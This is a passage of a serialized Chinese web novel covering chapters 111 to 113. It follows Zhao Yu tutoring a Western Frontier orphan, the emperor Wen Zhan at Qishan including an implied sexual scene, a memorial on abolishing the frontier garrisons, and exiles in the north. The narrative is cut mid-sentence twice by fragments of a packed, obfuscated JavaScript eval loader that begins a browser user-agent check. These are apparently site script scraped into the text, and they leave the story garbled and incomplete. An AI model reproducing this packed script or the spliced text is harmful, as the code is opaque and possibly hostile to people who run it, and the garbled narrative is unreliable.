赵格非不懂,“我爹并不懂音律,可是他用笛子还能吹出几首小调,很好听。我一直以为是冉庄那边有通音律的传统,让他随便也能吹上几首。” 冉庄人不通音律,通音律的是他宁淮侯。 此时,崔珩看着水面上的鱼漂,正在一下一下的向下点头,似乎有鱼儿咬钩。他一伸手扯过赵格非手中的鱼竿,手腕用了巧劲,鱼线撑劲,将鱼儿从水中拉扯了出来。果真是一条大草鱼!它似乎在水中已经生长了很久,肥胖颀长,像是要成精。 崔珩,“走,烤鱼吃。” 赵格非,“今天不是寒食节吗?” 大郑的传统,借着寒食节的清苦来彰显政治的清明。 崔珩,“寒食节不让动灶火,没说不让动野火。” 他把草鱼从鱼钩上扯下,扔到地上一下子摔晕,说,“你一个半大的丫头,又是个书生,我一个外戚出身的粗人,政治清明与否是那些忠臣良相的事情,和咱们无关。寒食节咱们吃条草鱼,灶王爷不会劈一道雷下来,他老人家正忙着用鸡毛去插各家各户的灰烬,看看哪家不顾禁令私自燃火造饭,没空管咱们。” 清明节过后,雍南公学复课,梁十一带着孩子过来。一到大门外,就看到一个壮实的男人,正背着手,站在门框子前面,昂着脑袋,正在看一块崭新的木匾。这个人梁十一见过,就是在抓捕西疆大长老的时候遇到那个腆着肚子的胖子,叫薛宣平,如今是元承行的大掌柜。 “真好,当真是好。”薛宣平还喃喃自语。“好到极点。” ——雍南公学,四个字,铁马冰河的刀光剑影中,却带着根骨极正的书卷气。怪,却难得,也好到了极点。 这块匾上的字是大篆,早已经淡出人们的视线,随着古老的故纸堆被束之高阁,却在天下人看不见的地方被隆重使用着。西北道曾经秘密采过玉矿,赵毓控制这件事,知道的人不多,薛宣平却是其中之一。他知道那些玉石专供宫廷,其中一块千年不遇的籽玉雕刻成如意,上面刻了几个字,字体就是大篆。 薛宣平嘀咕着,“难道,老赵当真要把这个公学做成万世基业?” 梁十一叫了他一声,“薛先生。” 薛宣平一扭头,……,如今他也瘦到可以扭动脖子而不必转动粗壮的身躯,于是,他双眼一看是梁十一,那个吃人不吐骨头的北镇抚司的朝廷鹰犬与走狗,——“妈呀!”他叫了一声,撒开两只腿,蹿的比肥山羊还快! 梁十一,“……” 111. 111 Black Flags 111 珊伊。 ——‘希望’。 她清楚自己的身世,西疆遗孤,有一双碧蓝色犹如天空一般的眼睛,与她的母亲一样。她已经死去,受尽屈辱,死无葬身之地。在雍京这里,双瞳是碧色,就是罪。‘蕾莎’是她逝去母亲的名字,在她们故国的语言中,那是‘绝地尽头的花’,代表着‘来世’;而她自己,则是‘今生的晨星’,寓意着‘希望’。 谎言。 ——‘我们’是没有‘希望’的。 珊伊不是郑人,虽然在雍京出生,在雍京长大,还有一半郑人的血统,却不是郑人。 她几乎不会说郑语,功课很难。 雍南公学的孩子们来自三教九流,大多是下九流,大抵都是文盲,先生刚开始启蒙的时候,也颇为费力。除开那位姓崔的落魄书生因为年轻,没有太多的耐性,其他的老夫子们用滴水刺穿雍京城墙一般的韧性,恨不得把一个字来回讲八十遍,似乎,连书院的猫猫狗狗都能子曰诗云了,……,可是,她依然不会。 “不懂?”赵毓第一次在书院见到珊伊,问了问她功课的事,知道不太好之后,就对梁十一说,“没事。老梁,以后每逢一、三、五,七,这丫头留在书院多读一个时辰的书,晚上就在这儿吃,我教。” 赵毓懂高昌语,他为她讲解功课,他安慰过她,“读书就像长肉,只要坚持不懈的多读,犹如一碗一碗的吃肉,终究会读会,也终究会成猪。” 这个男人说高昌话的时候,声音与平时不一样。赵毓的雍京官话明朗、干爽却带着一丝丝的绵软,透着金尊玉贵的味道;可是他的高昌话却显得有些沧桑,犹如胡杨,即使已死,也倔强干枯的屹立在黄沙之中,带着杀伐与永恒的气息。 此时,赵毓把崔珩给他整理好的《三字经》摊开,用手指一个字一个字的给珊伊指点,随后用高昌话再给她解释一遍。 “玉不琢,不成器。这句话讲的是一块玉料,即使底子再好,也要动刀斧,不然无法成为大器,只能是废料,人也一样。” “我们先秦有一位圣人,曾经曰过,天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,……” 赵毓说的有些太顺口,他忽然记起来,面对的是珊伊,而不是其他学生,这个女孩子不懂这些之乎者也。 “总而言之,就是想要做成大事,成就自己,不经历磨难,是不可能的。磨难是渡人的河,是剔骨的刀,就像一口锅,把人放在里面熬煮,最后皮开肉绽,筋骨断裂,只要不死,终究可以成大器。” 说着,他抬头,看着珊伊,“懂了吗?” “不论是谁,只要在那口锅中熬过去,就能成大器吗?”珊伊用高昌语问他。 赵毓摇头,“当然不是。” 珊伊看着他,赵毓的面容清秀俊美,可是他的眼睛却犹如两个深不见底的石脂水田,黑黢黢的。 赵毓,“被雕琢的只能是玉。” 珊伊,“如果不是玉呢?” “涅槃,或者毁灭。”赵毓声音轻描淡写。 “阿依,您听说过‘彼岸天堂’吗?” 珊伊问这句话的时候,甚至有些虔诚。阿依,是高昌语,‘先知’的意思,也是大郑语言中的‘先生’。 离得近,珊伊能看到赵毓的鼻梁。 那里的皮有些薄,盖不住其下的血肉,此时,外人可以看见他鼻梁上一根一根纤细的青脉,流淌着血,犹如淡淡的丝。这样的人就如同波斯传来的珐琅瓷,用上等青金石做釉,烧造而成,脆弱到似乎一根手指轻轻一碰,就能碎裂,完全没有雍京西市西疆人流言中那毁天灭地‘魔神’的一丝一毫的痕迹。 ——就是他,杀我族人,毁我故土,让我们犹如牲畜一般漂泊在雍京,像族人传说中受到天神诅咒,生生死死,不得安宁。 ——就是他吗? “我当然听说过。”赵毓正在收拾书本,“西疆十六国所有传说中最终的归宿。” 他在西北十年,经历过无数次战争,见惯了尸横遍野的惨状,也听过无数遍那个歌谣,佐以胡杨木雕刻的长笛,悠扬悲怆: 那里没有悲伤,没有死亡,人们生活在布满鲜花的绿野上,土地中蕴藏着蜂蜜,河流中流淌着白色的牛乳,阳光照在身上是暖的,风都是阿月浑子果实的味道。那里就是天堂,是我们祖先的天堂,彼岸天堂。 珊伊,“阿依,您相信那里真实存在吗?” 赵毓,“不信。人死如灯灭,死了就是死了,没有天堂,也没有地狱。人这一辈子无论好坏,只有这一次,就好像拉莫孔雀河的花,无论鲜活美丽还是卷叶蔫坏,落土之后,都不可能开第二次。 “等过一年,你把我们眼前这些读熟背过,先生会教你真正的儒家圣贤的典籍,《论语》。里面有一句话非常好,子不语怪力乱神。不要信这些神神鬼鬼的东西,看看眼前,看看当下。传说中的天堂再美好,也不如吃到口中的一块红烧肉实在,小姑娘。” 在雍南公学中,珊伊毕竟还是太扎眼。 玉芳的儿子秦冀从小在花街柳巷长大,虽然依旧穿着裙子,却是正经的男孩子,吃的多,力气大。他正经功夫不会,抠鼻挖眼踢人下阴的勾当没少学,平时三、四个坏小子都近不了身,赵毓就让他多关照珊伊。 秦冀不乐意。 因为,珊伊是第二个把秦冀打到满地找牙的孩子。 第一个孩子,就是黄槿。 那天是一场混战。 那些老夫子们胡子翘的老高,似乎随时都会背过气去,“成何体统,成何体统?” 可是赵毓却靠在廊柱上抱着手臂看着他们打。暴雨,雨水把院子的土地浇成泥泞,他们就在里面滚来滚去,像野性难驯的马驹子。 为了什么打成这样,赵毓根本没有问。原因大抵不过是互相鄙视出身。这三个孩子:被剥夺土地没有家的少女;出身风尘却侥幸没有入贱籍的男孩子;还有一个战败异族的遗孤。怎么看,怎么算,都是天涯沦落人,都应该同病相怜。 等他们实在打不动了,赵毓让后厨从灶台上端下一直炖着的大瓦罐,并着三个钵盂,“同是天涯沦落人,相逢何必打破头?一碗卤煮泯恩仇。” 从那之后,他们三个成为朋友。 珊伊在学堂中一直有黄槿和秦冀相伴,散课了,梁十一自己来,或者派家奴来接。总之,赵毓没有让珊伊有落单的时候,哪怕一眨眼的功夫都没有。 崔珩问的话是,“这么上心?” “如果出了事,我没法向梁十一交待。”赵毓对崔珩这么说,“去年老梁为了我的事被打烂了屁股,养了一个多月才下了床,我不想再给他找什么麻烦。” 崔珩,“你收这个孩子入公学,究竟为了什么?” 赵毓反问,“不是你的人情吗?” 崔珩右眼皮跳动了一下,他心中闪过一句老话‘左眼跳财,右眼跳灾’,可是学堂中朗朗读书声音又把这个愚昧的想法压了下去。 “老梁给我拿了腌肉,我吃着还不错,就顺带着提了一句。你要是觉得这个丫头难弄,直接给老梁踢回去就得了。” 赵毓,“倒是不难弄,就是,……” 崔珩,“承怡,你说这个西疆丫头和老梁是个什么关系?” 赵毓又反问,“什么什么关系?” 崔珩,“老梁那个指挥使的差事丢了,是他自己辞的。” 赵毓,“哦。” 崔珩,“官面上的理由倒是很堂皇,其实就是为了收养了这个丫头,狼崽子不再信任他。他们这些给狼崽子做狗的,如果失去主上的信任,就是死路一条。所幸,这一次,狼崽子留了一丝善念,没有赶尽杀绝,只是让老梁丢了差事回家赋闲去了。如今穷是穷了些,不说他,正经做官的哪个不穷?朋友接济一下还能过活,我只是不明白,他和那个丫头究竟是个什么关系,为了她能做到这一步?我身边有西北回来的人,他们说西疆的婆娘都有妖术,等闲凡人让那双湛湛的眼睛盯上,不死也得扒层皮。老梁那个傻蛋,别被人下了蛊。” 赵毓,“那孩子今年才多大,老梁对她能有什么想法?不过正月十五的一丝善念,留下一段缘分而已。” 崔珩,“你收她入公学,究竟为了什么?” 孩子们正在描红。 珊伊从书桌上抬头,看见赵毓正站在廊檐下,同那个姓崔的落魄书生讲话。 下雨了。 初春的雨像柔和丝,自天空飘落。 赵毓像是感受到了她的视线,微微回头,看了看学堂里面。此时的他很普通,就是一个郑人书生,只是,珊伊觉得他像极了母亲吟唱的歌词,——圣山上柔和的白云,天山上融化的雪水。 如果,他笑了,也许更像。 别人不知道。 赵毓单独与她对视的时候,从来不笑。 她知道为什么。 赵毓回崔珩,“西疆有位传经的高僧,我同他聊过三天三夜的天,他说我大郑圣贤无数,教化万千,这是比兵戈更柔和,却是更加强悍的征服。” “我想试试。” 梁十一差事丢了,人也搬了家,到了南城,这里房租子便宜,可以花少一半的钱租到一整个院子。 这天谷雨。 赵毓登门的时候,梁十一有客,在正北房招待他们,而梁家的老仆在后院收拾猪下水。 “这是崔侯爷派人送来的吃食。”梁老仆就着一个木盆,正在洗猪大肠,“洗干净,煮好了,正好卤着吃。” 赵毓看着这一盆子血淋淋的,就挪了一个马扎子,坐在一旁,手指裹着破布夹起来一根火钳子,拎过来个猪蹄,开始烧猪毛。 “老崔这人也是,怎么不送两块猪后座过来。”赵毓同梁老仆有一搭没一搭的说话,“整肉送人好歹能拿的出手,也好收拾。” “崔侯爷是好心。”梁老仆干活,头也不抬,“这些下水不值钱,不会有人盯着告状。” 赵毓烧完一个猪蹄,扔到一旁,问了一句,“老梁丢了差事,怎么客人还这么多?他原本就人弃鬼嫌的,怎么,不在北镇府司当差了之后,人缘就变好了?” “今天来的是南镇抚司的人。”梁老仆平淡的说话,“赵老爷可能没听说过那里。北镇府司是鹰犬,南镇抚司是扼住鹰犬的嚼子。” 梁十一这位老仆是他从死人堆里面刨出来的。 那些事说出来都是陈词滥调。 千年来,却一遍一遍一遍又一遍的重复着,仿若轮回一般。 总的来说,就是三个词: 大灾。 贪官污吏发财。 死许多人。 那一年中原大旱。 地方官不思抚恤灾民,反而打朝廷赈灾粮的主意,他们把这些救千万人活命的粮食高价转卖西北。 当时西北战事正紧,运粮通道不畅,再加上赵毓手中军饷丰厚,买粮不问价,不眨眼,不求别的,只要军粮充足,军心稳固。这些原因凑到一起致使西北粮价是东南的数倍!所以,大郑东南,川蜀一带的大米,除了本省百姓活命的口粮之外,尽数运往西北。这些事情不用朝廷动手,那些贪图高利的行商们便可代劳。 可是,中原赈灾粮被贩卖到西北则是另外一回事。 这样做,后果可致使中原三省饿殍遍野,地方官们将转卖粮食所得的白银中饱私囊,连带着赵毓买入这些粮食都是灭族的大罪。朝中针对尹明扬的政敌们,不想西北打胜仗、不想赵毓肃清边界的势力们,全部纠结在一起,让手下控制的言官们一起发难,势必要把尹氏和他庇护的赵毓打到万劫不复! 可是。 那些粮食赵毓没有收。 反而,他从军粮中抽掉了许多米面,让人运到灾区,解了燃眉之急,登时,原本可以震动朝局的一场劫难,消弭于无形。 赈灾的粮一般使用陈粮,主要以琼州的三季稻米为主,粗糙陈腐,味道不好,却能救人活命。赵毓买粮验货的时候就闻到味道不对。他当机立断,甚至没有告知任何人,问清楚这批粮食的来处,就让人抽掉军粮跟随运粮的人一同返回中原。 所有人都不知道,皇帝也派出了北镇府司的梁十一秘密前往灾区,彻查此事。 旱灾过后,没有大的疫病,土地恢复之后,农耕也恢复了,一切大难都平稳渡过,许多参与卖粮到西北,却没成,原本自以为渡劫成功的官员却全部下了大狱,抄家灭族,一时之间朝野一片风声鹤唳,终究,化成一声叹息: ——皇上至圣极明。 自古人主患不明,惟皇上患明之太过。自古人主患不断,惟皇上患断之太速。 梁家这位老仆就是梁十一在那年遇到的一位老绝户,家中人都饿死了,他实在无处落脚,被梁十一带回了雍京城。也许是经历过生离死别,梁老仆比别人都淡定,说明白一些,就是死气沉沉。这个老头儿总给人一股行将就木的感觉。虽然,此时的他在大太阳底下,很勤劳勇敢善良的正在清洗猪大肠。 赵毓,“我听说过南镇抚司。” 他当然听说过这里,他落地之前就被千刀万剐的亲爹赵汝南就曾经是先帝南镇抚司的指挥使,凤化年间的一把割喉刀。 赵汝南最擅长武后嫡传的“瓜蔓抄”,不要说等闲的文官武将家族,就是先帝的那些庶出的兄弟姐妹,王公贵戚,公主皇妃们都被割人头割到寸草不生。过多的业障,造成了他的早亡,也造就了他老婆儿子不知道是悲是喜的一辈子。 赵毓继续烧猪蹄子,“南司的人专门折腾自己人,不是什么好东西。” 梁老仆没抬头,却微微点点头。 赵毓,“老梁这个院子独门独户,倒是不错,就是太简陋了。他做缇骑头子这么多年,就算底账干净到如同一个未出阁的黄花大闺女,也不至于穷成这样吧。朝廷慢慢收拢财政大权,圣上也给官员们都提了饷银。老梁没丢差事之前一年也是二百五十两的进项,在北城能买一个偏僻一些的小院子,这都是写在明面上的,都是光明正大的进项。可是,如今这银子呢?” 梁老仆,“南镇抚司正在审,没审到清白,不给。” 赵毓,“这都审了快三月了,怎么还审不清白?南司的老爷们都是烧糊的猪蹄子吗?” 梁老仆听着这里,终于抬了一下头,他看着赵毓,此人依旧认真的烧猪黑毛。他说,“南司的老爷们是天底下最聪明的人。他们审不清白的事和人,是因为这本来就是不清白的事和人。” 赵毓烧完一个猪蹄子,“为什么不把那个不清白的事解决掉,把不清白的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“啊?岐山圣地,不是祭祖的时候才去?” “不祭祖,也可以去看看。听说,那里桃花都开了。” 岐山的桃花很晚才开,如今雍京已经是暮春,百花开到荼蘼,而岐山那里却是山中桃花始盛开。赵毓想着也挺向往的,“我们住几天吗?” “嗯。” 赵毓忽然凑到文湛耳边,轻轻吹了口气才咬耳朵,“陛下,要不要带上我们的碧绿翡翠小药瓶?” 文湛脸皮微微红了一下,像个齿白唇红的大蜜桃,却还算端庄贞静,“已经带上了。” 赵毓在文湛的脸颊上,轻扯了一口,留下淡淡的牙印。 巫山雨云在岐山桃花下暴烈的浇着。 赵毓明白知道自己当真是“自作孽不可活”,他觉得全身都已经碎裂,早成为砧板上的死鱼,可是,碧绿翡翠小瓶中的药膏的清香却萦绕的越加浓郁,一层一层再一层的弥漫上来,犹如它被涂抹在身体中一般。 他的双手被死死的扣在枕头两侧。 手腕上两道青痕。 “暴,……,暴君。” 他用力回头,看见文湛的眼睛,犹如烈日灼烧下的千丈寒潭。 “哥哥。” “哥哥,……,哥哥,……” 雕花窗子大开。 一片桃花翩翩而落,就在赵毓的鼻尖上。 他的手指一直向前抓,被文湛从后面伸出的手,攥了回去。 攀上无限风光的险峻之峰,堕入万年沉沦的深海之渊。 这一夜睡的极沉,等第二天醒过来,赵毓看见文湛坐在床边,手中一个竹子编织的簸箩,正在筛桃花。 “挑拣一些好的花瓣,再酿点酒。” 上次他同赵毓来这里,还是三年前。那个时候,赵毓刚回雍京,他们虽然已经在一起,却带着无法弥合的生疏。两个人相处的时候,甚至连聊天都需要处心积虑的找一些话题,不然,那十年的分离就好像是一条无法逾越的天堑,横亘在两人中间。 当时,赵毓看到桃花落下,就说了一句,“这些桃花拌着糯米酿酒,味道应该不错。” 文湛挑拣了一些上好的花瓣,让人酿了米酒。两年前,赵毓喝了,去年,赵毓也喝了,今年,赵毓还可以喝到。 琉璃造的酒器,犹如昆仑西端上万年不化的冰。 赵毓握在手中。 那中间盛放的是去年的桃花陈酿。 如今正午已过,天空中是骄阳,光芒透过桃花树,洒下点点碎金。花树下一石台,摆放着一方古琴,文湛的手指拨动琴弦,乐声流淌出来,犹如高山流水。 赵毓端着酒坐在盘腿坐在一旁的大石上。 他听过许多人弹奏古琴,其中不乏名家,不少身价极高的“先生”,还有一些仰慕大郑琴棋书画的异族王族,高手如云,但是,他们弹奏的都没有文湛的琴声动人。那是一种极致的静,却在宁静之下涌动着细密的情,看似潺潺流水,千曲百转回味无穷,却可以掀起滔天的巨浪,又似是末日的焰火,足可以席卷一切,甚至,毁灭一切。 “我小时候太懒。”赵毓忽然说。“如果当时我也学学音律,不说别的,拿着玉箫能吹奏几首曲子,现在与你合奏一曲《幽篁》,就是一对神仙眷侣。” 文湛的琴声嘎然而止。 “文湛,你学音律,为了什么?用来逃避当年皇太子令人窒息的功课吗?” “不是。”文湛的手指随意拨弄着琴弦。 为什么苦练琴技,原因有二。 当年崔珩一支洞箫冠绝毓正宫,承怡每次听到他的萧声都会安宁的守在他的身边,就像是御园中名贵的花草,遇到晨露一般。时过境迁之后,这样令人大不喜的场景也不会再出现,对于手下败将,文湛自负“无度不丈夫”,不肯再抱怨,当然也不愿提起。 而,第二个原因,…… 文湛停了拨弄琴弦的手指,说,“我知道你在大正宫很闷,我想好好学琴,弹几个曲子,也好给你解个闷。” 赵毓感觉自己的心尖被狠狠攥了一下,刚要说话,此时,黄枞菖领着一个人匆匆穿过万千桃花树,直奔此地而来。 “主子,定国公派人六百里加急递送折子。” 黄枞菖说完,连忙退到一旁,他身后的人直接跪地,以膝盖为足,向前挪动几步,低头,双手呈上一封奏折。 文湛抬手,发现差两寸够不到这封奏折,就开口,“你抬头,向前一步。” 那人是萧则,他微微抬头,看见皇帝手腕上一截袖子。黑色缂丝,交织着金线,暗隐的花纹,令人惊心动魄的精美,怪不得江南织造局每年开销数百万两白银! 他又抬了抬眼睛,没敢看皇帝,却看到了皇帝身边大石头上盘腿坐着的人。 ——赵毓! 赵毓把酒盏递给黄枞菖,从石头上下来,过前一步,从萧则手中拿过奏折,递给文湛。 “你起来吧。” 一时之间,萧则无法分辨这句话是赵毓说的,还是皇帝的旨意。他犹豫之间,黄枞菖已经扯着他的胳膊肘,让他站立起来。 文湛打开奏折,扫了一眼,啪的合上,直接拍在石案上。 “混账!” 112. 112 Black Flags 112 撤藩。这是改变大郑近三百年边境权力格局的大事。因此,皇帝与藩镇,在图穷匕首见之前,都想要互相再试探底线,毕竟谁也不想担负‘为夺权而置祖宗江山社稷,天下亿万黎庶于不顾,挑起战火,致使生灵涂炭’的千古骂名。 定国公裴檀秘密潜往北境,为的也是这件事。 这段时日,雍京到北境‘藩镇’之间的诏书、奏折,一封一封的传递,冻土之地飘荡的雪花似的。在微音殿侍奉的翰林们与藩镇幕府的酸文假醋有了极大用武之地,官面上的大话套话一牛车一牛车不要钱似的随便拉,从大郑开国君主们的大功业说到冻土之地的冰草如何煮汤,扯的淡从大鲜卑山一直进了山海关。 只是,双方都没有捅破那层窗户纸。 裴檀命萧则以六百里加急送到文湛手中的这封奏折上,大致说了那些‘藩镇’不上台面的心思。 千言万语一个词,——封建。 封土建国!那片边境,那片土地,数百年的拉锯战与割据,那些藩镇家族,每一家的宗庙都是十几层的牌位,祖宗们没有安稳死在侯门公府的,几乎全部战死沙场,马革裹尸而还。 ——几代先祖,以血和黑铁犁出来的土地,想要留给儿孙,合乎天理人情!他们甚至没有想要割据鱼米之乡的膏腴之地,只是想要留下这块远离雍京的冻土,用几代人的命给后代子孙留下一个安稳的繁衍生息之地。 文湛把这封奏折递给赵毓,赵毓却没有看,径自给了黄枞菖。 萧则并不知道裴檀的奏折中的内容,但是他知道,这是关于裁撤藩镇与撤北境之军的军国大事。 上一次,萧则参与这等大事,是赵毓撤西北军。 当年他还是尹氏六部的一个千总,他亲眼看着这些在西北战火中活下来的兵士,带着丰厚的军饷回乡时候的复杂情绪。有不舍,有遗憾,甚至有怨怼,最后,还有很多对于故土的眷恋。 朝廷历来‘重文轻武’,民间从来都有‘好男不当兵’的俗语,当兵的人不是被拉了壮丁,就是一些活不下去的穷人,流民,罪人,甚至是亡命徒。他们原本就没有建功立业的命,如今可以带着丰厚饷银活着回乡,已经是绝大的幸运。 可是藩镇却不同。 这些武勋家族树大根深,军功卓著,几代割据,在边境财、政、军大权独揽,已经是名副其实的土王,让他们裁撤,犹如与虎谋皮。 当年西北战事平息,所有人以为赵毓也会如同北境这群藩镇一样,割据土地,以要挟朝廷裂土封侯。可是,出乎所有人意料之外,赵毓补齐八百万两白银的军饷,不留余地,一刀裁撤西北军。 唯一的意外,只是赵毓中途回了一趟雍京城。 一封内廷司礼监的红封诏书八百里加急递送西北,赵毓拆看,只扫一眼,脸色惨白如死人。他交待一句‘家中有事’便骑马三天三夜,千里回京。萧则与另外三人作为护卫随行,却被拦截在雍京城外。 当时,雍京九门封锁,只有赵毓的关防可以进城,他进城之前交待萧则他们立刻回西北,千万不要耽搁。 很久之后,官面上的流言兜兜转转,萧则才知道,当年亲眼见雍京九门封锁,是因为皇帝遇刺,生死未卜。彼时东宫未立,大郑王朝一场几乎要倾朝覆野的危机,在天下未知觉当中,平缓渡过。如今时过境迁,圣上龙体安康,自然觉得那不过是一场小风浪,其中的风云惊动,波谲云诡,早已经淹没在一片祥和的太平盛世当中。 赵毓在雍京留了一个月,在冉庄置办了一个破落小院,众人以为他彻底归隐林泉,不问世事了,他却立刻回了西北。——撤军。 作为曾经的主帅,赵毓需要全权善后,他是大员中最后一位启程的。 战乱平息之后的仪式,所有征西官员们,无论文臣还是武将全部不作戎装,而是端坐八人抬的官轿,放下帘子,里面加上暖炉,在西北那样冰天雪地的境地,穿着薄锦文臣官服,威仪十足。 赵毓不同,他骑马。褪去铠甲,这位真正的‘西北王’只着一身轻裘,胯|下依旧是匈奴骏马,从敦煌一路到黄河渡口,登船回雍京。沿途异常安静,为他送行的百姓们无人说话,人数却极多,跪了一路。他们沿着黄土官道泼了水,净了街,摆满香案,点燃细香,供奉着赵毓的长生牌位。 此时,赵毓问萧则,“你一路上岐山,吃饭了吗?” “未敢耽搁。” “黄瓜,带他先去吃饭。” 萧则此时才仔细看了看过来为自己领路的‘司礼监秉笔大太监黄枞菖’,——居然又是个旧相识。他在西北道见过黄枞菖几次,当时只是觉得此人有些阴柔,没想到他果真是个太监。 黄枞菖带他到膳房,让人准备了饭菜,不一会儿,赵毓也进来。 “你别管我,好好吃点东西。”他安抚住想要站起来的萧则,坐在他对面,黄枞菖递过来一盏热茶。 “你爹还好吗?” “好。”萧则点头,“他听了您的话,西北道的事一了,他就带着我母亲,陪同祖母捧着我祖父的骨灰从甘陕入川了。我之前竟然不知道,祖父祖籍居然是蜀中。” 赵毓则说,“萧老大的老父亲是蜀中涪陵人,当年被拉了壮丁到西北当兵。一来一去,也是小一百年的光景了。他们这次回去,是落叶归根。” 俗话,少不入川,老不出蜀。 萧呈如此安排,也算是为了自己找到一方埋骨之地。 赵毓从未解释过‘西北道’对赌的事,萧则明白。一来,江湖上大家都明白的法则,愿赌服输。二来,不管赵毓背后是什么人,他本人真正的身份是什么,只说他这个人,已经足够人忌惮了。 任何风浪,赵毓都压的住。 所以,他极坦然。 萧则从北境一路来雍京,又上了岐山,已经几天几夜没有休息,甚至途中还跑死了一匹快马,赵毓让他先去休息,随后转身回来找文湛。此时的皇帝站在万千桃花树之前,向前走是一条登入山巅的羊肠小道。 他冲着赵毓伸出手,“走,一起爬爬山。” “这个时候,……”赵毓觉得有些腰疼,不过还是扯住了文湛伸过来的手,“那就一起走走吧。” 野芳发而幽香,佳木秀而繁阴。 两人走的极慢。 赵毓忽然说,“陛下,我还以为您会去正殿,找一张北境的地图,皱着眉毛,仔细研读,颇有一种先天下而忧而忧的呕心沥血,当然,最好还有一种一片圣心喂了狼心狗肺的自怨自艾。” 文湛看见赵毓的头发上沾了一片桃花,他抬手,为他摘了下来,“这么编排我?” 赵毓嘿嘿一乐。 文湛说,“北境地图就不用看了,一山一川,一个村落,我都看过了,也都记得住。至于我的心是否喂了狼心狗肺,……,其实,对于他们的心思,我虽然不赞同,却能理解。” 赵毓又笑了,“他们要割据土地,分裂王朝,这样的心思陛下如何理解?” 文湛,“祖宗们暴霜露,斩荆棘,不过是为后代子孙开辟尺寸之地,这样的心思,我理解。我大郑列祖列宗不都是这样做的吗?只是,……不是王朝不可以分裂,而是,……” 赵毓没再说话,他停下爬山的脚步,在沿路的桃树中看到对面的山峰。 岐山神宫就在那里。 高山云雾环绕,不似在人间。 文湛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一次上岐山祭祖,他还很小,他听到很多,也看到很多,他不明白为什么大郑开国前三百年的帝王们都像一根一根的神棍,岐山神宫大祭司的权力甚至一度可以制衡皇权。数百年前,庙宇一座一座的拔地而起,那些祖宗们留给后世的印象活像一个一个活在古怪神话传说中的九头鸟,人头蛇身,麒麟神兽以及四不像。 现在他明白了。 太|祖征战天下,诏书开头第一句就是,——朕以眇眇之身,兴兵诛暴虐。 帝王业。 天生带着神性。 它不仅是问鼎逐鹿游戏的最终胜利者以及其后代苗裔的世袭权力,也不止手握天下生杀予夺大权的无上尊荣。坐在那把椅子上的人,本身就是一尊神像,除去血肉,足可以写进任何一本传说,用上等羊脂玉雕刻而成,就可以摆进大正宫,太庙,还有隔着山谷山巅之上的岐山神宫。 赵毓从文湛肩膀上下来,“我没想过那么多,只想着大郑长治久安就好,这已经很艰难了。” 文湛,“这世上根本没有王朝会万载千秋。” “可是,国家会。” “天下不是一家一姓之天下,子民在,疆土在,家国就在。” “既然是万民君父,就必须保护国家不受侵害,这比权力搏杀,比性命更重要。侵害有外来的,也有内生的;可以来自别人,同样,也来自我自己。” 赵毓忽然揪住文湛锦袍的前襟,拽向自己,他微微昂首,在他的嘴唇上狠狠印下一个亲吻。 有风吹过。 桃花飘落。 遮挡住众山之巅的二人旖旎。 113. 113 Black Flags 113 大郑北境。 冷。 这里是冻土。 冬天可以看见绵延五个多月,似乎永远没有尽头的黑夜。日头就像个会划水的蛋,顺着解冻之后的鸭子河,飘飘荡荡,一去不复返了。开春之后好一些,老天似乎想要弥补严冬对大地造成的伤痛,大半年都是白晃晃的。 守边的老人身上裹着熊皮袍子,蹲在松林边缘,看着天。 那个日头好像是抱窝的蛋,在鸭子河漩涡中打着旋的腻着,怎么也不走。人家都说日头东升西落,可是这里的日头却是在人头顶上转一圈,貌似要落入大地,一眨眼,就如同扔到地上的蹴鞠用的鞠,一个鲤鱼打挺就蹦了起来。 老人手中一根细杆子,尖上围着一个网,里面挂着一只小鱼,专门抓鸟。过往的鸟,只看到食儿,根本看不到网,好像都不长眼睛一般,一群一伙的向里面扑。老人手腕一转,就把这些瞎家雀儿捏在股掌之中。 “田大叔,您这是做什么?” 老人不用抬头就知道,说话这嫩声嫩气的,只有何莲生。这个何生排行第三,刚从南边过来。他家是读书人,有功名有田土有房产,屋后还有菜园和老桑树,日子过的相当不错,可是因为他爹热心肠,爱帮人,莫名其妙的就卷入了一场大案,即使是族长地保力保,最后也只落得个举家流放的后果。 “趁着鸟多就多捞点,用粗盐腌起来,过冬的荤菜就有了。” 老人依然不抬头,从网子中掏出一只鸟,两根手指一用力就扭断了鸟脖子。随后,他趁着鸟死不久,身子还热,还软,从袖子中掏出一把刀,在鸟头顶一划,直接弄开一道口子,再用力一扯,鸟的这层皮,连着羽毛直接被撸了下去。一只鲜活的飞鸟,眨眼之间,就剩下一条血淋漓的死肉贴在骨架子上,被老人仍在一旁的木条箩筐中。 何莲生看着头皮有些发麻。 “后生,别怕。” 老人说话不太清楚,带着身子黄土埋了半截之人特有的混沌。 “北境这里不比大鲜卑山南边,森林广袤,水草丰美。这里一到冬天什么活物都没有,河水冰冻一丈二,想要捞条鱼,你得凿开大山那么厚的一层冰。那个时候,连地面上的苔藓都是枯的。咱们不趁早准备些吃的,人还活不活?” 老人说着,开始扭断第二只飞鸟的脖子。 何莲生不敢动手,甚至不敢看,不过,他坐在老人身边,“田大叔,您家乡在哪里?” “雍京。”老人继续被鸟扒皮。 “雍京?!”何莲生惊讶,“那可是千年帝京!” “是吧。”老人不咸不淡的说,“我不记得了。” “当年我爷爷坏了事儿,皇帝刚登基,他还小,不过七八岁,辅政的大学士裴东岳心疼小皇帝,不忍心他见血光,就开了大恩,于是,我爷爷从斩监侯被改了流放北境。我们一个族的人都来了,现在也都死的差不多了。我那个时候还小,早不记得雍京是个啥模样了。现如今只记得听我娘说过,京城一家酱菜馆做的青方好吃。那滋味,闻着臭,吃着香,就跟我这腌的鸟一样。” 何莲生,“您说的小皇帝,应该是先帝。” 